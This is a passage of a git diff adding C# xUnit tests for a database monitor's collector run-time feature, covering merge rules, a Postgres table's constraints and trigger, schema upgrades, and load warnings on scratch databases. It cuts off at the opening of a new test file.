+    /// not set, so it can neither switch on a collector that is off by default nor switch off one the fleet row enabled,
+    /// and every other column resolves exactly as it did without the entry.</summary>
+    [Fact]
+    public void MergeRunTimes_GivesARunTimeWithNoScheduleRowAnEntryThatSetsNothingElse()
+    {
+        var merged = StoreConfigProvider.MergeRunTimes(
+            Array.Empty<ScheduleOverride>(),
+            new[] { RunTime(null, "index_object_stats", 120), RunTime(ServerId, "server_properties", 150) });
+
+        Assert.Equal(2, merged.Count);
+        foreach (var entry in merged)
+        {
+            Assert.Null(entry.FrequencyMinutes);
+            Assert.Null(entry.RetentionDays);
+            Assert.Null(entry.Enabled);
+            Assert.Null(entry.Databases);
+        }
+
+        Assert.Equal(120, StoreConfigProvider.ResolveSchedule("index_object_stats", ServerId, merged).RunAtMinute);
+        Assert.Equal(150, StoreConfigProvider.ResolveSchedule("server_properties", ServerId, merged).RunAtMinute);
+        Assert.Null(StoreConfigProvider.ResolveSchedule("server_properties", ServerId + 1, merged).RunAtMinute);
+    }
+
+    [Fact]
+    public void ARunTimeEntry_NeverChangesEnabledFrequencyRetentionOrScope_AtAnyLevel()
+    {
+        var rows = new[]
+        {
+            new ScheduleOverride(null, "index_object_stats", 1440, 7, false, new[] { "alpha_db" }),
+            new ScheduleOverride(null, "pg_index_usage_stats", null, 9, true),
+        };
+        var runTimes = new[]
+        {
+            RunTime(ServerId, "index_object_stats", 130),
+            RunTime(null, "long_query_completions", 100),
+            RunTime(ServerId, "long_query_completions", 110),
+            RunTime(null, "pg_index_usage_stats", 140),
+            RunTime(null, "wait_stats", 150),
+        };
+        var merged = StoreConfigProvider.MergeRunTimes(rows, runTimes);
+
+        foreach (var collector in new[] { "index_object_stats", "pg_index_usage_stats", "long_query_completions", "wait_stats", "server_properties" })
+        {
+            var before = StoreConfigProvider.ResolveSchedule(collector, ServerId, rows);
+            var after = StoreConfigProvider.ResolveSchedule(collector, ServerId, merged);
+            Assert.Equal(before.Enabled, after.Enabled);
+            Assert.Equal(before.FrequencyMinutes, after.FrequencyMinutes);
+            Assert.Equal(before.RetentionDays, after.RetentionDays);
+            Assert.Equal(StoreConfigProvider.ResolveFleetRetentionDays(collector, rows), StoreConfigProvider.ResolveFleetRetentionDays(collector, merged));
+            Assert.Equal(StoreConfigProvider.ResolveDatabaseScope(collector, ServerId, rows), StoreConfigProvider.ResolveDatabaseScope(collector, ServerId, merged));
+        }
+
+        /* The fleet row disabled index_object_stats and the server's run time must not re-enable it for that server, and
+           a collector off by default stays off. */
+        Assert.False(StoreConfigProvider.ResolveSchedule("index_object_stats", ServerId, merged).Enabled);
+        Assert.False(StoreConfigProvider.ResolveSchedule("long_query_completions", ServerId, merged).Enabled);
+        Assert.Equal(130, StoreConfigProvider.ResolveSchedule("index_object_stats", ServerId, merged).RunAtMinute);
+    }
+
+    [Fact]
+    public void MergeRunTimes_HoldsOneEntryPerScopeAndCollector_MatchingTheNameWithoutRegardToCase()
+    {
+        var merged = StoreConfigProvider.MergeRunTimes(
+            new[] { new ScheduleOverride(null, "Index_Object_Stats", 1440, 30, true) },
+            new[] { RunTime(null, "index_object_stats", 120), RunTime(ServerId, "index_object_stats", 130), RunTime(ServerId + 1, "index_object_stats", 140) });
+
+        Assert.Equal(3, merged.Count);
+        Assert.Equal(1, merged.Count(o => o.ServerId is null));
+        Assert.Equal(120, merged.Single(o => o.ServerId is null).RunAtMinute);
+        Assert.Equal(30, merged.Single(o => o.ServerId is null).RetentionDays);
+
+        /* The fleet row's retention is still the first, and only, fleet entry the retention horizon reads. */
+        Assert.Equal(30, StoreConfigProvider.ResolveFleetRetentionDays("index_object_stats", merged));
+    }
+
+    [Fact]
+    public void MergeRunTimes_WithNoRunTimes_ReturnsTheRowsAsTheyAre()
+    {
+        var rows = new[] { new ScheduleOverride(null, "index_object_stats", 1440, 30, true) };
+
+        Assert.Same(rows, StoreConfigProvider.MergeRunTimes(rows, Array.Empty<RunTimeOverride>()));
+    }
+}
+
+/// <summary>The live half of <see cref="CollectorRunTimeRungTests"/>: the table, its CHECK, indexes and reload trigger, an
+/// upgrade from V159, the rung's SQL run twice on one store, what the viewer's schedule Save leaves alone, and the
+/// service's read (merged onto the schedule rows, warned once per load, and tolerant of a store without the table).</summary>
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches the shared
+   store's tables, so it cannot race the live collection and serializing it would be pure slowdown. */
+public sealed class CollectorRunTimeRungLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the run-time table's live pins (each mints its own scratch database).";
+
+    private const string Insert = "INSERT INTO config.config_collector_run_times (server_id, collector_name, run_at_minute) VALUES ";
+
+    private static async Task<NpgsqlConnection> MigratedAsync(ScratchPostgres scratch, System.Threading.CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<int> VersionAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct) =>
+        Convert.ToInt32(await ScalarAsync(connection, "SELECT MAX(version) FROM darling_schema_version", ct));
+
+    /// <summary>Every run-time row as one string, so a test can say "unchanged" in one assertion.</summary>
+    private static async Task<string?> RowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct) =>
+        (string?)await ScalarAsync(connection,
+            "SELECT COALESCE(string_agg(COALESCE(server_id::text, 'fleet') || '/' || collector_name || '=' || run_at_minute, ',' ORDER BY server_id NULLS FIRST, collector_name), '') FROM config.config_collector_run_times", ct);
+
+    private static async Task<StoreConfigProvider> SeededProviderAsync(
+        NpgsqlDataSource dataSource, CapturingTestLogger logger, System.Threading.CancellationToken ct,
+        string storedPassword = "env:RUNTIME_ALPHA_PASSWORD_NOT_SET")
+    {
+        var provider = new StoreConfigProvider(dataSource, logger);
+        var config = new DarlingConfig();
+        config.Servers.Add(new MonitoredServer
+        {
+            Name = "runtime-alpha",
+            Host = "runtime-alpha-host",
+            Auth = "sql",
+            Username = "runtime-user",
+            /* A reference by default, not a stored old-format password: the load warns that an old-format password needs to be entered
+               again (#5366), and the run-time tests count the warnings that belong to the run times. */
+            EncryptedPassword = storedPassword,
+            EncryptMode = "Strict",
+            TrustServerCertificate = true,
+        });
+        await provider.SeedIfEmptyAsync(config, ct);
+        return provider;
+    }
+
+    [Fact]
+    public async Task TheTable_HasItsColumnsItsCheckItsTwoUniqueIndexesAndTheReloadTrigger()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            Assert.Equal("server_id:integer:YES,collector_name:text:NO,run_at_minute:smallint:NO", await ScalarAsync(connection,
+                "SELECT string_agg(column_name || ':' || data_type || ':' || is_nullable, ',' ORDER BY ordinal_position) FROM information_schema.columns WHERE table_schema = 'config' AND table_name = 'config_collector_run_times'", ct));
+            Assert.Equal(0L, await ScalarAsync(connection,
+                "SELECT count(*) FROM information_schema.columns WHERE table_schema = 'config' AND table_name = 'config_collector_schedules' AND column_name = 'run_at_minute'", ct));
+
+            /* The CHECK: 0 to 1439 anywhere, -1 on a server row only. */
+            foreach (var refused in new[] { "NULL, 'rt_bad', -1", "NULL, 'rt_bad', -2", "NULL, 'rt_bad', 1440", "7, 'rt_bad', -2", "7, 'rt_bad', 1440" })
+            {
+                var ex = await Assert.ThrowsAsync<PostgresException>(() => ExecAsync(connection, Insert + $"({refused})", ct));
+                Assert.Equal("23514", ex.SqlState);
+            }
+
+            var notNull = await Assert.ThrowsAsync<PostgresException>(() => ExecAsync(connection, Insert + "(NULL, 'rt_null', NULL)", ct));
+            Assert.Equal("23502", notNull.SqlState);
+
+            foreach (var taken in new[] { "NULL, 'rt_a', 0", "NULL, 'rt_b', 1439", "7, 'rt_c', -1", "7, 'rt_d', 0" })
+            {
+                await ExecAsync(connection, Insert + $"({taken})", ct);
+            }
+
+            /* One fleet row and one server row per collector; the same collector on another server, or fleet-wide and on
+               a server, is fine. */
+            foreach (var duplicate in new[] { "NULL, 'rt_a', 5", "7, 'rt_d', 9" })
+            {
+                var ex = await Assert.ThrowsAsync<PostgresException>(() => ExecAsync(connection, Insert + $"({duplicate})", ct));
+                Assert.Equal("23505", ex.SqlState);
+            }
+
+            await ExecAsync(connection, Insert + "(8, 'rt_d', 9), (7, 'rt_a', 9)", ct);
+            Assert.Contains("(collector_name) WHERE (server_id IS NULL)", (string?)await ScalarAsync(connection,
+                "SELECT indexdef FROM pg_indexes WHERE schemaname = 'config' AND indexname = 'ux_config_collector_run_times_fleet'", ct), StringComparison.Ordinal);
+            Assert.Contains("(server_id, collector_name) WHERE (server_id IS NOT NULL)", (string?)await ScalarAsync(connection,
+                "SELECT indexdef FROM pg_indexes WHERE schemaname = 'config' AND indexname = 'ux_config_collector_run_times_server'", ct), StringComparison.Ordinal);
+
+            /* A write bumps the reload beacon, as a schedule write does, so a running service reloads the run times. */
+            Assert.Equal(1L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_trigger WHERE tgname = 'trg_bump_collector_run_times' AND NOT tgisinternal", ct));
+            await ExecAsync(connection, "INSERT INTO config.config_service (id) VALUES (1) ON CONFLICT (id) DO NOTHING", ct);
+            foreach (var write in new[]
+            {
+                Insert + "(NULL, 'rt_e', 10)",
+                "UPDATE config.config_collector_run_times SET run_at_minute = 11 WHERE collector_name = 'rt_e'",
+                "DELETE FROM config.config_collector_run_times WHERE collector_name = 'rt_e'",
+            })
+            {
+                var before = Convert.ToInt64(await ScalarAsync(connection, "SELECT config_version FROM config.config_service", ct));
+                await ExecAsync(connection, write, ct);
+                Assert.True(Convert.ToInt64(await ScalarAsync(connection, "SELECT config_version FROM config.config_service", ct)) > before, write);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task AStoreAtV159_UpgradesToTheRung_WithNoRunTimes_AndItsScheduleRowsAndColumnsUntouched()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            const string ScheduleColumns =
+                "SELECT string_agg(column_name, ',' ORDER BY ordinal_position) FROM information_schema.columns WHERE table_schema = 'config' AND table_name = 'config_collector_schedules'";
+            var columnsBefore = await ScalarAsync(connection, ScheduleColumns, ct);
+
+            /* Put the store back at V159: no table, its stamp gone, a schedule row an operator already wrote. */
+            foreach (var sql in new[]
+            {
+                "DROP TABLE config.config_collector_run_times",
+                "DELETE FROM darling_schema_version WHERE version >= 160",
+                "INSERT INTO config.config_collector_schedules (server_id, collector_name, frequency_minutes, retention_days, enabled) VALUES (NULL, 'index_object_stats', 1440, 30, TRUE)",
+            })
+            {
+                await ExecAsync(connection, sql, ct);
+            }
+
+            Assert.Equal(159, await VersionAsync(connection, ct));
+            Assert.True(await ScalarAsync(connection, "SELECT to_regclass('config.config_collector_run_times') IS NULL", ct) is true);
+
+            await PgMigrations.MigrateAsync(connection, ct);
+
+            Assert.Equal(StorageVersion.SchemaVersion, await VersionAsync(connection, ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM config.config_collector_run_times", ct));
+            Assert.Equal("1440|30", await ScalarAsync(connection,
+                "SELECT frequency_minutes || '|' || retention_days FROM config.config_collector_schedules WHERE collector_name = 'index_object_stats'", ct));
+            Assert.Equal(columnsBefore, await ScalarAsync(connection, ScheduleColumns, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>The runner skips a rung a store is already stamped at, so migrating twice never runs the rung's SQL
+    /// twice. This runs the rung's own SQL twice on one store that holds rows and asserts the second run is a no-op:
+    /// no error, the same columns, indexes, constraint and trigger, and the same rows.</summary>
+    [Fact]
+    public async Task TheRungSql_RunTwiceOnOneStore_ChangesNothing_AndKeepsItsRows()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            var rungSql = PgMigrations.Scripts.Single(m => m.Name == CollectorRunTimeRungTests.RungName).Sql;
+            await ExecAsync(connection, Insert + "(NULL, 'index_object_stats', 120), (7, 'index_object_stats', -1)", ct);
+
+            const string Shape =
+                "SELECT (SELECT string_agg(column_name || ':' || data_type || ':' || is_nullable, ',' ORDER BY ordinal_position) FROM information_schema.columns WHERE table_schema = 'config' AND table_name = 'config_collector_run_times')"
+                + " || '|' || (SELECT string_agg(indexname || ':' || indexdef, ';' ORDER BY indexname) FROM pg_indexes WHERE schemaname = 'config' AND tablename = 'config_collector_run_times')"
+                + " || '|' || (SELECT string_agg(conname || ':' || pg_get_constraintdef(oid), ';' ORDER BY conname) FROM pg_constraint WHERE conrelid = 'config.config_collector_run_times'::regclass)"
+                + " || '|' || (SELECT count(*) FROM pg_trigger WHERE tgrelid = 'config.config_collector_run_times'::regclass AND NOT tgisinternal)";
+            var shapeBefore = await ScalarAsync(connection, Shape, ct);
+            var rowsBefore = await RowsAsync(connection, ct);
+            Assert.Equal("fleet/index_object_stats=120,7/index_object_stats=-1", rowsBefore);
+
+            await ExecAsync(connection, rungSql, ct);
+            await ExecAsync(connection, rungSql, ct);
+
+            Assert.Equal(shapeBefore, await ScalarAsync(connection, Shape, ct));
+            Assert.Equal(rowsBefore, await RowsAsync(connection, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>The install id's row survives the upgrade from V159 untouched (#4938, #4961). V159 is the install id table's
+    /// final shape, and this rung creates a table of its own and restates nothing of it: the id, its bindings and its
+    /// creation time read the same after the rung as before it, and the table keeps exactly its seven columns.</summary>
+    [Fact]
+    public async Task AStoreAtV159_KeepsItsInstallIdRowAndTableShapeUnchanged_AcrossTheUpgradeToTheRung()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            const string ReadRow =
+                "SELECT install_id || '|' || system_identifier || '|' || database_oid || '|' || table_oid || '|' || server_major || '|' || created_at::text FROM config.config_install_id";
+            const string ReadShape =
+                "SELECT string_agg(column_name || ':' || data_type, ',' ORDER BY ordinal_position) FROM information_schema.columns WHERE table_schema = 'config' AND table_name = 'config_install_id'";
+            const string Row = "0a1b2c3d|7000000000000000001|16384|16400|17|2026-01-02 03:04:05.678901";
+            const string Shape = "id:smallint,install_id:text,system_identifier:bigint,database_oid:bigint,created_at:timestamp without time zone,table_oid:bigint,server_major:integer";
+
+            Assert.Equal(StorageVersion.SchemaVersion, await VersionAsync(connection, ct));
+            Assert.Equal(Shape, await ScalarAsync(connection, ReadShape, ct));
+
+            /* Put the store back at V159: the run time's table and stamp gone, an install id row the service already made. */
+            foreach (var sql in new[]
+            {
+                "DROP TABLE config.config_collector_run_times",
+                "DELETE FROM darling_schema_version WHERE version >= 160",
+                "INSERT INTO config.config_install_id (install_id, system_identifier, database_oid, table_oid, server_major, created_at) VALUES ('0a1b2c3d', 7000000000000000001, 16384, 16400, 17, '2026-01-02 03:04:05.678901')",
+            })
+            {
+                await ExecAsync(connection, sql, ct);
+            }
+
+            Assert.Equal(159, await VersionAsync(connection, ct));
+            Assert.Equal(Row, await ScalarAsync(connection, ReadRow, ct));
+            Assert.Equal(Shape, await ScalarAsync(connection, ReadShape, ct));
+
+            await PgMigrations.MigrateAsync(connection, ct);
+
+            Assert.Equal(StorageVersion.SchemaVersion, await VersionAsync(connection, ct));
+            Assert.True(await ScalarAsync(connection, "SELECT to_regclass('config.config_collector_run_times') IS NOT NULL", ct) is true);
+            Assert.Equal(Row, await ScalarAsync(connection, ReadRow, ct));
+            Assert.Equal(Shape, await ScalarAsync(connection, ReadShape, ct));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT COUNT(*) FROM config.config_install_id", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>The viewer's schedule Save, run live (its real SQL: delete the scope's rows, insert them again), leaves every
+    /// run-time row alone, for a fleet scope and for a server scope. A viewer released before the table existed does the
+    /// same statements, so the run times survive its Save too. The Save itself still works.</summary>
+    [Fact]
+    public async Task TheViewerScheduleSave_LeavesEveryRunTimeRowAlone_ForAFleetScopeAndAServerScope()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(connection,
+                Insert + "(NULL, 'index_object_stats', 120), (NULL, 'server_properties', 150), (7, 'index_object_stats', 130), (7, 'server_properties', -1), (8, 'index_object_stats', 200)", ct);
+            await ExecAsync(connection,
+                "INSERT INTO config.config_collector_schedules (server_id, collector_name, frequency_minutes) VALUES (NULL, 'index_object_stats', 720), (7, 'index_object_stats', 2880)", ct);
+            var expected = await RowsAsync(connection, ct);
+            Assert.Equal("fleet/index_object_stats=120,fleet/server_properties=150,7/index_object_stats=130,7/server_properties=-1,8/index_object_stats=200", expected);
+
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+            await viewer.ReplaceFleetSchedulesAsync(new[] { new CollectorScheduleRow(null, "index_object_stats", 1440, 30, true, null) }, ct);
+            Assert.Equal(1440, Convert.ToInt32(await ScalarAsync(connection,
+                "SELECT frequency_minutes FROM config.config_collector_schedules WHERE server_id IS NULL AND collector_name = 'index_object_stats'", ct)));
+            Assert.Equal(expected, await RowsAsync(connection, ct));
+
+            await viewer.ReplaceServerSchedulesAsync(7, new[] { new CollectorScheduleRow(7, "index_object_stats", 1440, null, true, null) }, ct);
+            Assert.Equal(1440, Convert.ToInt32(await ScalarAsync(connection,
+                "SELECT frequency_minutes FROM config.config_collector_schedules WHERE server_id = 7 AND collector_name = 'index_object_stats'", ct)));
+            Assert.Equal(expected, await RowsAsync(connection, ct));
+
+            /* A Save that leaves a scope empty deletes schedule rows only. The reset of every server's rows is the one call that also
+               deletes the servers' run times (#4938), and the fleet's stay. */
+            await viewer.ReplaceServerSchedulesAsync(7, Array.Empty<CollectorScheduleRow>(), ct);
+            Assert.Equal(expected, await RowsAsync(connection, ct));
+            await viewer.ResetAllServerSchedulesAsync(ct);
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM config.config_collector_schedules WHERE server_id IS NOT NULL", ct));
+            Assert.Equal("fleet/index_object_stats=120,fleet/server_properties=150", await RowsAsync(connection, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>The service's read merges the run times onto the schedule rows, and the load warns once for a run time that
+    /// cannot apply, each time the schedules are loaded.</summary>
+    [Fact]
+    public async Task LoadViewAsync_ReadsTheRunTimesFromTheirTable_AndWarnsOncePerLoad_ForAServerWhoseIntervalIsHourly()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var logger = new CapturingTestLogger();
+            var provider = await SeededProviderAsync(dataSource, logger, ct);
+
+            var serverId = Convert.ToInt32(await ScalarAsync(connection, "SELECT server_id FROM config_monitored_servers WHERE name = 'runtime-alpha'", ct));
+            foreach (var sql in new[]
+            {
+                Insert + "(NULL, 'index_object_stats', 120)",
+                $"INSERT INTO config.config_collector_schedules (server_id, collector_name, frequency_minutes) VALUES ({serverId}, 'index_object_stats', 60)",
+                Insert + "(NULL, 'server_properties', 150)",
+                "INSERT INTO config.config_collector_schedules (server_id, collector_name, frequency_minutes, retention_days) VALUES (NULL, 'pg_index_usage_stats', 1440, 30)",
+                Insert + "(NULL, 'pg_index_usage_stats', 200)",
+            })
+            {
+                await ExecAsync(connection, sql, ct);
+            }
+
+            var first = await provider.LoadViewAsync(new DarlingConfig(), ct);
+            Assert.NotNull(first);
+            Assert.Equal(120, first!.ScheduleOverrides.Single(o => o.ServerId is null && o.CollectorName == "index_object_stats").RunAtMinute);
+            Assert.Null(first.ScheduleOverrides.Single(o => o.ServerId == serverId).RunAtMinute);
+
+            /* A run time for a collector that has a schedule row rides on that row. */
+            var carried = first.ScheduleOverrides.Single(o => o.ServerId is null && o.CollectorName == "pg_index_usage_stats");
+            Assert.Equal(30, carried.RetentionDays);
+            Assert.Equal(200, carried.RunAtMinute);
+
+            Assert.Equal(150, StoreConfigProvider.ResolveSchedule("server_properties", serverId, first.ScheduleOverrides).RunAtMinute);
+            Assert.Null(StoreConfigProvider.ResolveSchedule("index_object_stats", serverId, first.ScheduleOverrides).RunAtMinute);
+
+            Assert.Single(logger.Lines, l => l.Contains("run time", StringComparison.OrdinalIgnoreCase));
+
+            /* Each load warns again; a sweep between loads, which only resolves, does not. */
+            _ = StoreConfigProvider.ResolveSchedule("index_object_stats", serverId, first.ScheduleOverrides);
+            Assert.Single(logger.Lines, l => l.Contains("run time", StringComparison.OrdinalIgnoreCase));
+            await provider.LoadViewAsync(new DarlingConfig(), ct);
+            Assert.Equal(2, logger.Lines.Count(l => l.Contains("run time", StringComparison.OrdinalIgnoreCase)));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>A store still at V159 has no run-time table. The load reads it as no run times, with no warning and no error
+    /// (one debug line at most), keeps every schedule row, and leaves the connection usable for the next load.</summary>
+    [Fact]
+    public async Task LoadViewAsync_OnAStoreWithoutTheRunTimeTable_ReadsNoRunTimes_WithNoWarningAndNoError()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var logger = new CapturingTestLogger();
+            var provider = await SeededProviderAsync(dataSource, logger, ct);
+
+            await ExecAsync(connection, "DROP TABLE config.config_collector_run_times", ct);
+            await ExecAsync(connection,
+                "INSERT INTO config.config_collector_schedules (server_id, collector_name, frequency_minutes, retention_days) VALUES (NULL, 'index_object_stats', 1440, 30)", ct);
+
+            var view = await provider.LoadViewAsync(new DarlingConfig(), ct);
+
+            Assert.NotNull(view);
+            var row = Assert.Single(view!.ScheduleOverrides);
+            Assert.Equal(30, row.RetentionDays);
+            Assert.Null(row.RunAtMinute);
+            Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+            Assert.Equal(0, logger.CountAtLevel(LogLevel.Error));
+            Assert.True(logger.Lines.Count(l => l.Contains("run-time table", StringComparison.OrdinalIgnoreCase)) <= 1, logger.Joined);
+
+            Assert.NotNull(await provider.LoadViewAsync(new DarlingConfig(), ct));
+            Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>A store whose CHECK was dropped by hand can hold a value the CHECK would refuse. The load resolves it to none
+    /// and warns once, naming the collector, the scope and the value.</summary>
+    [Fact]
+    public async Task LoadViewAsync_WarnsOnce_ForAStoredRunTimeTheCheckWouldRefuse_AndResolvesItToNone()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var logger = new CapturingTestLogger();
+            var provider = await SeededProviderAsync(dataSource, logger, ct);
+
+            await ExecAsync(connection, "ALTER TABLE config.config_collector_run_times DROP CONSTRAINT ck_config_collector_run_times_range", ct);
+            await ExecAsync(connection, Insert + "(NULL, 'index_object_stats', 1440)", ct);
+
+            var view = await provider.LoadViewAsync(new DarlingConfig(), ct);
+
+            Assert.NotNull(view);
+            Assert.Null(StoreConfigProvider.ResolveSchedule("index_object_stats", 1, view!.ScheduleOverrides).RunAtMinute);
+            Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+            var line = Assert.Single(logger.Lines, l => l.StartsWith("Warning", StringComparison.Ordinal));
+            Assert.Contains("index_object_stats", line, StringComparison.Ordinal);
+            Assert.Contains("fleet-wide", line, StringComparison.Ordinal);
+            Assert.Contains("1440", line, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    /// <summary>A stored old-format password the service cannot open is reported by the load as one warning, and only once: the
+    /// next load of the same store, with the same count, says nothing more (#5366).</summary>
+    [Fact]
+    public async Task LoadViewAsync_WarnsOnce_AboutAnOldFormatPasswordItCannotOpen_NotOnEveryReload()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var logger = new CapturingTestLogger();
+            var provider = await SeededProviderAsync(dataSource, logger, ct, storedPassword: "not-a-real-blob");
+
+            Assert.NotNull(await provider.LoadViewAsync(new DarlingConfig(), ct));
+            var line = Assert.Single(logger.Lines, l => l.StartsWith("Warning", StringComparison.Ordinal));
+            Assert.Contains("needs to be entered again", line, StringComparison.Ordinal);
+
+            Assert.NotNull(await provider.LoadViewAsync(new DarlingConfig(), ct));
+            Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/CollectorRunTimeTests.cs b/Darling/Darling.Tests/CollectorRunTimeTests.cs
new file mode 100644
index 0000000000..5c6a508fae
--- /dev/null
+++ b/Darling/Darling.Tests/CollectorRunTimeTests.cs
@@ -0,0 +1,610 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Collectors;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4938: the shared rules for a daily collector's run time, <see cref="CollectorRunTime"/>. The run time is the
+/// monitored server's own wall clock, so each test hands the rules a local-to-UTC conversion the way an app
+/// does: <see cref="ServerClock.ToUtc"/> for a known clock, <see cref="CollectorRunTime.LocalIsUtc"/> while the
+/// clock is not known yet. US Eastern springs forward on 2026-03-08 and falls back on 2026-11-01. A server id
+/// whose <c>(uint)id % 3600</c> is 0 puts the slot exactly on the run time; 1800 adds 30 minutes and 3599 adds
+/// 59 minutes 59 seconds.
+/// </summary>
+public sealed class CollectorRunTimeTests
+{
+    private const int NoSpreadId = 0;
+    private const int HalfHourSpreadId = 1800;
+    private const int LongSpreadId = 3599;
+    private const int TwoAm = 120;
+    private const int Daily = 1440;
+    private const string EasternWindowsId = "Eastern Standard Time";
+    private const string EasternIanaId = "America/New_York";
+
+    private static DateTime Utc(int year, int month, int day, int hour = 0, int minute = 0, int second = 0) =>
+        new(year, month, day, hour, minute, second, DateTimeKind.Utc);
+
